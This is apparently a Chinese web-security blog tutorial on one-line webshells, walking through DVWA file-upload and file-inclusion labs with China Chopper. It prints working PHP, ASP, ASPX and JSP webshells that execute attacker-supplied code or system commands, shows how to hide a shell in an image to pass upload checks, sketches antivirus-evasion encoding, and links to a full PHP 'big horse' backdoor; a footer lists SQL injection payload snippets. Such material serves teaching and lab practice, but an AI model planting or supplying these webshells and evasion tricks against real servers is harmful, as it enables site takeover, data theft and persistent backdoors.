<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Web安全-一句話木馬

    VSole2022-07-27 06:43:56

    概述

    在很多的滲透過程中,滲透人員會上傳一句話木馬(簡稱Webshell)到目前web服務目錄繼而提權獲取系統權限,不論asp、php、jsp、aspx都是如此,那么一句話木馬到底是什么呢?

    先來看看最簡單的一句話木馬:

     @eval($_POST['attack']);?>
    

    【基本原理】利用文件上傳漏洞,往目標網站中上傳一句話木馬,然后你就可以在本地通過中國菜刀chopper.exe即可獲取和控制整個網站目錄。@表示后面即使執行錯誤,也不報錯。eval()函數表示括號內的語句字符串什么的全都當做代碼執行。$_POST['attack']表示從頁面中獲得attack這個參數值。

    入侵條件

    其中,只要攻擊者滿足三個條件,就能實現成功入侵:

    (1)木馬上傳成功,未被殺;
    (2)知道木馬的路徑在哪;
    (3)上傳的木馬能正常運行。
    

    常見形式

    常見的一句話木馬:

    php的一句話木馬: @eval($_POST['pass']);?>
    asp的一句話是:<%eval request ("pass")%>
    aspx的一句話是:<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
    

    我們可以直接將這些語句插入到網站上的某個asp/aspx/php文件上,或者直接創建一個新的文件,在里面寫入這些語句,然后把文件上傳到網站上即可。

    基本原理

    首先我們先看一個原始而又簡單的php一句話木馬:

     @eval($_POST['cmd']); ?>
    

    看到這里不得不贊美前輩的智慧。對于一個稍微懂一些php的人而言,或者初級的安全愛好者,或者腳本小子而言,看到的第一眼就是密碼是cmd,通過post提交數據,但是具體如何執行的,卻不得而知,下面我們分析一句話是如何執行的。

    這句話什么意思呢?

    (1)php的代碼要寫在里面,服務器才能認出來這是php代碼,然后才去解析。

    (2)@符號的意思是不報錯,即使執行錯誤,也不報錯。

    為什么呢?因為一個變量沒有定義,就被拿去使用了,服務器就善意的提醒:Notice,你的xxx變量沒有定義。這不就暴露了密碼嗎?所以我們加上@。

    (3)為什么密碼是cmd呢?

    那就要來理解這句話的意思了。php里面幾個超全局變量:$_GET、$_POST就是其中之一。$_POST['a']; 的意思就是a這個變量,用post的方法接收。

    注釋:傳輸數據的兩種方法,get、post,post是在消息體存放數據,get是在消息頭的url路徑里存放數據(例如xxx.php?a=2)

    (4)如何理解eval()函數?

    eval()把字符串作為PHP代碼執行。

    例如:eval("echo 'a'");其實就等于直接 echo 'a';再來看看首先,用post方式接收變量pw,比如接收到了:pw=echo 'a';這時代碼就變成。結果如下:

    連起來意思就是:用post方法接收變量pw,把變量pw里面的字符串當做php代碼來執行。所以也就能這么玩:也就是說,你想執行什么代碼,就把什么代碼放進變量pw里,用post傳輸給一句話木馬。你想查看目標硬盤里有沒有小黃片,可以用php函數:opendir()和readdir()等等。想上傳點小黃片,誣陷站主,就用php函數:move_uploaded_file,當然相應的html要寫好。你想執行cmd命令,則用exec()。

    當然前提是:php配置文件php.ini里,關掉安全模式safe_mode = off,然后再看看 禁用函數列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,確保沒有exec(有些cms為了方便處理某些功能,會去掉的)。

    來看看效果,POST代碼如下:

      cmd=header("Content-type:text/html;charset=gbk");
      exec("ipconfig",$out);
      echo '
    ';  print_r($out);
      echo '
    ';
    

    在這里我們可以看到系統直接執行了系統命令。SO,大家現在應該理解,為什么說一句話短小精悍了吧!

    木馬利用

    以下通過DVWA的文件上傳漏洞,來看看一句話木馬如何使用。關于文件上傳漏洞可閱讀以下文章:文件上傳漏洞(https://blog.csdn.net/weixin_39190897/article/details/85334893)。

    中國菜刀

    【實驗準備】首先在本地(桌面)保存一句話木馬文件Hack.php(用記事本編寫后修改文件后綴即可):

     @eval($_POST['pass']);?>
    

    接下來進入DVWA平臺:http://127.0.0.1:8088/DVWA/index.php ,準備開始實驗。

    在Low 安全級別下,查看后臺源碼:

     
     if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '
    Your image was not uploaded.
    ';
        }
        else {
            // Yes!
            echo "
    {$target_path} succesfully uploaded!
    ";
        }
      }
    ?>
    

    從源碼中發現,low級別未對上傳的文件進行任何驗證。所以可以直接上傳PHP或者ASP一句話木馬,此例采用php。

    (1)我們將準備好的一句話木馬直接上傳,然后就可以看到回顯的路徑:

    (2)接著就可以用菜刀連接了,菜刀界面右鍵,然后點擊添加。然后填寫相關的數據,如下圖:

    “中國菜刀”頁面操作說明:

    1、是連接的URL,就是網站的主路徑然后加上上傳文件時回顯的保存路徑;

    2、是菜刀連接時的密碼,就是上面圖片一句話提交的數據(本例為"pass");

    3、是一句話的解析類型,可以是asp,php,aspx。不同的解析類型的一句話內容不一樣,文件后綴名不一樣。

    (3)然后可以看連接成功的界面:

    (4)接著雙擊或者右鍵“文件管理”,進入以下界面:

    我們看到了整個網站的結構和文件,甚至是暴漏了我整個電腦主機的磁盤存儲!!可以進行任意非法增刪查改!!網站(主機)至此淪陷……

    圖片木馬

    木馬如何才能上傳成功?通常防御者都會對類型、大小、進行過濾。另外,若規定是上傳的圖片,還會對圖片進行采集。即使攻擊者修改文件類型,也過不了圖片采集那一關。所以,這就需要一張圖片來做掩護。做成隱藏在圖片下的木馬。linux和windows都有相應的命令,能夠讓一個文件融合到另一個文件后面,達到隱藏的目的。

    承接上面DVWA實驗,High 安全等級,繼續先查看源碼:

     
     if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
            ( $uploaded_size < 100000 ) &&
            getimagesize( $uploaded_tmp ) ) {
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
                // No
                echo '
    Your image was not uploaded.
    ';
            }
            else {
                // Yes!
                echo "
    {$target_path} succesfully uploaded!
    ";
            }
        }
        else {
            // Invalid file
            echo '
    Your image was not uploaded. We can only accept JPEG or PNG images.
    ';
        }
     }
    ?>
    

    可以看到,High級別的代碼讀取文件名中最后一個”.”后的字符串,期望通過文件名來限制文件類型,因此要求上傳文件名形式必須是“*.jpg”、“.jpeg” 、“*.png”之一。同時,getimagesize()函數更是限制了上傳文件的文件頭必須為圖像類型。

    我們需要將上傳文件的文件頭偽裝成圖片,首先利用copy命令將一句話木馬文件Hack.php與正常的圖片文件ClearSky.jpg合并:

    【備注】以下為CMD下用copy命令制作“圖片木馬”的步驟,其中,ClearSky.jpg/b中“b”表示“二進制文件”,hack.php/a中“a"表示ASCII碼文件。

    生成帶有木馬的圖片文件hack.jpg:

    接著我們打開生成的圖片木馬文件,我們可以看到一句話木馬已附在圖片文件末尾:

    然后我們試著將生成的木馬圖片文件hack.jpg上傳,上傳成功!!!

    訪問圖片木馬:

    接下來,上菜刀!!!!!!!!!!!

    但是由于是圖片木馬,PHP腳本并無法被解析,菜刀連接木馬失敗:

    既然圖片木馬也無法解析,那該怎么辦?High級別的程序只允許上傳圖片啊……別慌,此處結合DVWA靶場自帶的文件包含漏洞即可成功上傳PHP木馬并上菜刀連接了,下面進行攻擊演示。

    首先通過上述方法制造新的圖片木馬,圖片文件后面的PHP腳本更改為:

     fputs(fopen('muma.php','w'),''); ?>
    

    然后制作新的圖片木馬,如下圖所示:

    接著上傳到DVWA,然后借助文件包含漏洞模塊訪問該木馬文件:

    訪問的地址如下:http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,如下圖所示:

    此時在DVWA文件包含漏洞的路徑下便自動生成了PHP一句話木馬腳本文件muma.php,如下圖所示:

    此時再上菜刀連接,即可成功連接:

    至此,我們成功結合文件包含漏洞,在只能上傳圖片的文件上傳功能處上傳圖片木馬并生成一句話木馬。最后附上一篇博文,介紹了圖片木馬+解析漏洞的利用:PHP圖片木馬。

    木馬免殺

    就算木馬能正常運行,那么過段時間會不會被管理員殺掉?如何免殺?上面雖然木馬上傳成功了,但是只要管理員一殺毒,全部都能殺出來。而且,還會很明確的說這是后門。因此,作為攻擊者就得會各種免殺技巧。防御者的防御很簡單,什么時候哪個論壇爆出新的免殺技巧,安全人員立馬將這玩意兒放入黑名單,那么這種免殺技巧就失效了。所以,攻擊者得不斷創新,發明新的免殺技巧。

    【免殺思路】:

    1、將源代碼進行再次編碼。

    2、將那一句話木馬進行base64編碼,存放在"亂七八糟"的代碼中,直接看圖:

    3、還是一句話木馬,進行變形,只不過,這次的變形是在數組中鍵值對變形。很強。

    不得不說,免殺的思路真是越猥瑣,越好。研究起來非常有意思。以后等我滲透熟練了,會好好研究一下PHP代碼的各種免殺技巧。很好玩,思路很猥瑣。

    小馬和大馬

    小馬和大馬都是網頁類型中的一種后門,是通過用來控制網站權限的,那最主要的區別就是小馬是用來上傳大馬的。通過小馬上傳大馬,這時候有個疑問了,那不是多此一舉了,為什么要用小馬來上傳大馬,而干嘛不直接上傳大馬用好了。其實這里是因為小馬體積小,有比大馬更強的隱蔽優勢,而且有針對文件大小上傳限制的漏洞,所以才有小馬,小馬也通常用來做留備用后門等。

    網頁小馬

    小馬體積非常小,只有2KB那么大,隱蔽性也非常的好,因為小馬的作用很簡單,就是一個上傳功能,就沒有其它的了,它的作用僅僅是用來上傳文件,所以也能過一些安全掃描。小馬是為了方便上傳大馬的,因為很多漏洞做了上傳限制,大馬上傳不了,所以就只能先上傳小馬,再接著通過小馬上傳大馬了。小馬還可以通過與圖片合成一起通過IIS漏洞來運行。

    Java語言編寫的后臺咱們使用JSP木馬,與前面的一句話木馬不同,菜刀中JSP木馬較長,以下是一個簡單的JSP小馬:


    <%
        if("123".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("
    ");        while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("
    ");    }
    %>
    

    成功上傳后如果能解析的話,請求:http://服務器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可執行命令。

    網頁大馬

    大馬的體積就比較大了,通常在50K左右,比小馬會大好多倍,但對應的功能也很強大,包括對數據的管理,命令的操作,數據庫的管理,解壓縮,和提權等功能,都非常強大。這種大馬一旦網站被種了,網站基本就在這個大馬控制之中。大馬的隱蔽性不好,因為涉及很多敏感代碼,安全類程序很容易掃描到。

    中國菜刀的一句話不算,菜刀一句話通過客戶端來操作也非常強大,一句話的代碼可以和大馬實現的一樣。我們這里說的小馬和大馬是指網頁類型中的,小馬就是為了配合上傳大馬的,這是它最主要的作用,還有就是小馬可以當做備用的后門來使用,一般大馬容易被發現,而小馬則更容易隱藏在系統的文件夾中。

    來看看一個大馬利用實例:在虛擬機中往DVWA上傳PHP大馬(源碼附在最后):

    訪問木馬文件123.php,提交密碼123456后進入大馬的功能列表,下圖所示為文件管理功能:

    繼續訪問下命令執行功能(其他功能不展示了):

    最后附上該PHP大馬的代碼(代碼太長,百度云盤鏈接):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A

    提取碼:56pd。另外提供JSP大馬的參考地址:https://blog.csdn.net/weixin_34248023/article/details/93094456。

    WebShell

    Webshell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做為一種網頁后門。黑客在入侵了一個網站后,通常會將asp或php后門文件與網站服務器WEB目錄下正常的網頁文件混在一起,然后就可以使用瀏覽器來訪問asp或者php后門,得到一個命令執行環境,以達到控制網站服務器的目的。

    webshell根據腳本可以分為PHP腳本木馬,ASP腳本木馬,也有基于.NET的腳本木馬和JSP腳本木馬。在國外,還有用python腳本語言寫的動態網頁,當然也有與之相關的webshell。webshell根據功能也分為大馬、小馬和一句話木馬,例如:<%eval request(“pass”)%>通常把這句話寫入一個文檔里面,然后文件名改成xx.asp。然后傳到服務器上面。用eval方法將request(“pass”)轉換成代碼執行,request函數的作用是應用外部文件。這相當于一句話木馬的客戶端配置。具體分類如下圖:

    dvwa一句話木馬
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Web安全-一句木馬
    2022-07-27 06:43:56
    概述在很多的滲透過程中,滲透人員會上傳一句木馬到目前web服務目錄繼而提權獲取系統權限,不論asp、php、jsp、aspx都是如此,那么一句木馬到底是什么呢?
    蟻劍的小tip
    2022-05-26 14:49:12
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    軟件漏洞分析簡述
    2022-07-18 07:08:06
    然后電腦壞了,借了一臺win11的,湊合著用吧。第一處我們直接看一下他寫的waf. 邏輯比較簡單,利用正則,所有通過 GET 傳參得到的參數經過verify_str函數調用inject_check_sql函數進行參數檢查過濾,如果匹配黑名單,就退出。但是又有test_input函數進行限制。可以看到$web_urls會被放入數據庫語句執行,由于$web_urls獲取沒有經過過濾函數,所以可以
    Web滲透漏洞靶場收集
    2021-12-16 09:00:38
    Web安全入門必刷的9個靶場。
    個人認為,作為一個要入門代碼審計的人,審計流程應該從簡單到困難,逐步提升。而我在進行blueCMS審計之前,網上也搜索了blueCMS的審計文章。一般都是文章中只提到了兩個漏洞,一個是位于根目錄下的ad_js.php文件中,存在sql注入。
    常見滲透測試靶場
    2022-05-12 06:47:27
    作為新手,通常第一個聽說的靶場應該就是DVWA,部署簡單安裝完對應版本的PAM(PHP-Apache-MySQL),簡單配置后就可以使用。 1、DVWA靶場可測試漏洞:暴力破解(Brute Force)、命令注入(Command Injection)、跨站請求偽造(CSRF)、文件包含(File Inclusion)、文件上傳(File Upload)、不安全的驗證碼(Insecure CAPT
    前言在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起 DNS 請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。DNS 的全稱是 Domain Name System,它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如 www.baidu.com,網絡上的 DNS Server 會將該域名解析,并找到對應的真實 IP 如 127.0.0.1,使用戶可以訪問這臺服務器上相應的服務。了解到了什么是 DNS,那么什么又是 DNSlog 呢?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类